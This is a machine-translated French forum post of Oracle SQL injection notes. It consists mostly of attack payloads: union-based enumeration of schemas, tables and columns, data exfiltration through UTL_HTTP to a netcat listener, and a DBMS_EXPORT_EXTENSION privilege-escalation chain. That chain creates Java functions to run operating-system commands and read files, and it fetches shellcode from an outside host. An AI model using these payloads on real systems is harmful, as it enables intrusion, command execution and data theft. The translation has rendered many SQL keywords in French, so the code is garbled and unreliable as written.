Cet article est un article miroir de traduction automatique, veuillez cliquer ici pour accéder à l’article original.

Vue: 11931|Répondre: 0

[Communication sécurisée] SQL injection notes oracle

[Copié le lien]
Publié sur 24/01/2015 12:58:17 | | |
Ce post a été modifié pour la dernière fois par test le 24-01-2015 à 13:01

Commentaire : --
L’exécution par phrases multiples n’est pas prise en charge, et les requêtes fédérées sont prises en charge
Les noms des bases de données, des tableaux et des colonnes sont tous en majuscules.


longueur (champ)
ascii (sous-fortre(champ, N, 1))


et (sélectionner compte(*) à partir du dual)>0 -- Déterminer s’il s’agit d’oracle ou non

Ordre par N--

et union 1=2 sélectionner null, null,.....,nul à partir du dual — remplacer null par N ou « N »

et 1=2 union select null, (instruction sql) ,....., null de dual -- change à (instruction sql) en 'N'

et (sélectionner le compte(*) de all_objects où object_name='UTL_HTTP')>0 -- Déterminer si le UTL_HTTP est pris en charge (l’IP d’exportation est connue)

et UTL_HTTP.request('http ://LocalIP :port'|| (Déclaration SQL)) =1-- Envoyer des messages à distance vers une écoute locale nc -vv -l -p 1234


Instructions SQL
Sélectionnez bannière depuis sys.v_$version où rownum=1 pour interroger la version oracle
select member from v$logfile où rownum=1 Interroger le chemin du fichier journal (Windows ou Linux)
sélectionnez utl_inaddr.get_host_address de dual pour interroger l’IP d’écoute de la base de données
Sélectionnez instance_name depuis v$instance pour interroger le sid
sélectionne le nom de v$database Interroger le nom actuel de la base de données
sélectionner sys_context ('userenv', 'current_user') parmi les utilisateurs de bases de données à double requête
sélectionnez * depuis session_roles où rownum=1 pour interroger les permissions utilisateur actuelles
sélectionner * depuis session_roles où rownum=1 [et rôle<>'nom de la première permission']



sélectionnez table_name depuis user_tables où rownum=1 Le premier segment de table de la base de données courante
sélectionner table_name|','|| tablespace_name de user_tables où rownum=1 Premier segment de table, base de données (pour vérification, il se peut que ce ne soit pas v$database)
sélectionnez table_name à partir de user_tables où rownum=1 et table_name<>'premier segment de table' Le deuxième segment de table de la base de données actuelle

sélectionnez column_name à partir de user_tab_columns où rownum=1 et table_name='Segment de table' Le premier champ correspondant au nom du tableau
sélectionnez column_name parmi user_tab_columns où rownum=1 et table_name='Segment de table' et column_name<>'Premier champ' Le second champ correspondant au nom du tableau

Champ de sélection du segment de table où rownum=1 viole le contenu de la première ligne
Sélectionner le champ du segment de table où rownum=1 et le champ <> 'Contenu de la première ligne' exposent le contenu de la deuxième ligne


Interbibliothèques
sélectionner le propriétaire parmi all_tables où rownum=1 interroge le premier nom de base de données
sélectionnez propriétaire parmi all_tables où rownum=1 et propriétaire<> « Premier nom de base de données » pour interroger le second nom de base de données

sélectionnez table_name parmi all_tables où rownum=1 et owner='nom de la base de données' Interroger le premier nom de table de la base de données correspondante
Sélectionnez table_name depuis all_tables où rownum=1 et propriétaire='nom de la base de données' et table_name<>'premier nom de table' pour interroger le second nom de table de la base de données correspondante

sélectionnez column_name parmi all_tab_columns où rownum=1 et owner='nom de la base de données' et table_name='segment de table'. Le premier champ correspondant au nom du tableau
sélectionne column_name parmi all_tab_columns où rownum=1 et propriétaire='nom de la base de données' et table_name='segment de table' et column_name<>'premier champ' Le second champ correspondant au nom du tableau

Sélectionnez le champ dans la base de données. segment de table où rownum=1 viole le contenu de la première ligne
Sélectionnez le champ dans la base de données. Le segment de tableau où rownum=1 et le champ <> « Contenu de la première ligne » viole le contenu de la deuxième ligne





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; multi-instructions END ; --','SYS',0,'1',0)--

Si 'is s’échappe, chr() est utilisé.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-énoncés || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Si plusieurs phrases sont trop longues, vous pouvez écrire la déclaration dans le fichier du site web et utiliser utl_http.request pour la récupérer.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; utl_http.request('http ://www.guetsec.com/shellcode.txt') ; --','SYS',0,'1',0)--





Créer un package JAVA SecTest
runCMD est utilisé pour exécuter des commandes système
et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT » DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT'''' créer ou remplacer et compiler une source Java nommée « SecTest » comme java.io d’importation.* ; la classe publique SecTest étend Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())) ; String stemp,str=" » ; while((stemp=monLecteur.LineRead()) !=null) str+=stemp+"\n » ; monLecteur.close() ; retour de force ; }catch(Exception e){return e.toString() ; }}}''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--

readFile est utilisé pour lire le fichier
et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT » DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT'''' créer ou remplacer et compiler une source Java nommée « SecTest » comme java.io d’importation.* ; la classe publique SecTest étend Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)) ; String stemp,str=" » ; while((stemp=monLecteur.LineRead()) !=null) str+=stemp+"\n » ; monLecteur.close() ; retour de force ; }catch(Exception e){return e.toString() ; }}}''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--



Accorder des permissions Java
et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER L’EXÉCUTION IMMÉDIATE '''commencer dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS :java.io.FilePermission'''''''',''''''''<<TOUS LES FICHIERS>>'''''''' ''''''''exécuter'''''''') ; fin ; ''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--



Créer une fonction
Fonction SecRunCMD
et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIAT ''''créer ou remplacer fonction SecRunCMD(p_cmd in varchar2) retourner varchar2 comme langage java name''''''''SecTest.runCMD(java.lang.String) retourner String'''''''' ; ''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--

Fonction SecReadFile
et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT '''' créer ou remplacer fonction SecReadFile(nom de fichier dans varchar2) retourner varchar2 comme langage nom java''''''''SecTest.readFile(java.lang.String) retourner String' '''''''; ''''; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--



Accorder la permission d’exercer la fonction publique
SecRunCMD se voit accorder des permissions
et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER À EXÉCUTER IMMÉDIATEMENT « accorder tout sur SecRunCMD au public » ; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--

SecReadFile
et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT '''accorder tout sur SecReadFile au public''' ; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--



Détecte si la fonction a été créée avec succès
et (sélectionnez count(*) de all_objects où object_name='SECRUNCMD')>0--
et (sélectionnez count(*) de all_objects où object_name='SECREADFILE')>0--



Exécutez la commande
et '1'<> (sélectionnez sys. SecRunCMD('Exécuter commande') de dual)--
et '1'<> (sélectionnez sys. SecReadFile ('adresse physique du fichier') de dual)--
ou
et 1=2 union sélectionne les systèmes nu,...,ls. SecRunCMD('execute command'),...,null from dual--
et 1=2 union sélectionne les systèmes nu,...,ls. SecReadFile('adresse physique du fichier'),...,null depuis dual--
ou
et '1'<>(select UTL_HTTP.request('http ://LocalIP :port'|| REMPLACER(REMPLACER(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) de dual)--
et '1'<>(select UTL_HTTP.request('http ://LocalIP :port'|| REMPLACER(REMPLACER(sys. SecReadFile('Adresse physique du fichier'),' ',' ','\n',' ')) de dual)--



Fonction de suppression
et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT '''fonction drop SecRunCMD''' ; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--
et '1'<>'a'|| (sélectionnez SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT (:P 1) ; EXÉCUTER IMMÉDIATEMENT « DÉCLARER PRAGMA AUTONOMOUS_TRANSACTION ; COMMENCER EXÉCUTER IMMÉDIATEMENT '''fonction de drop SecReadFile''' ; FIN ; ''; FIN ; --','SYS',0,'1',0) de dual)--




Précédent:Puis-je demander une modération, quelles conditions dois-je faire ?
Prochain:ORALCE obtient le nom d’hôte et l’adresse IP
Démenti:
Tous les logiciels, supports de programmation ou articles publiés par Code Farmer Network sont uniquement destinés à l’apprentissage et à la recherche ; Le contenu ci-dessus ne doit pas être utilisé à des fins commerciales ou illégales, sinon les utilisateurs assumeront toutes les conséquences. Les informations sur ce site proviennent d’Internet, et les litiges de droits d’auteur n’ont rien à voir avec ce site. Vous devez supprimer complètement le contenu ci-dessus de votre ordinateur dans les 24 heures suivant le téléchargement. Si vous aimez le programme, merci de soutenir un logiciel authentique, d’acheter l’immatriculation et d’obtenir de meilleurs services authentiques. En cas d’infraction, veuillez nous contacter par e-mail.

Mail To:help@itsvse.com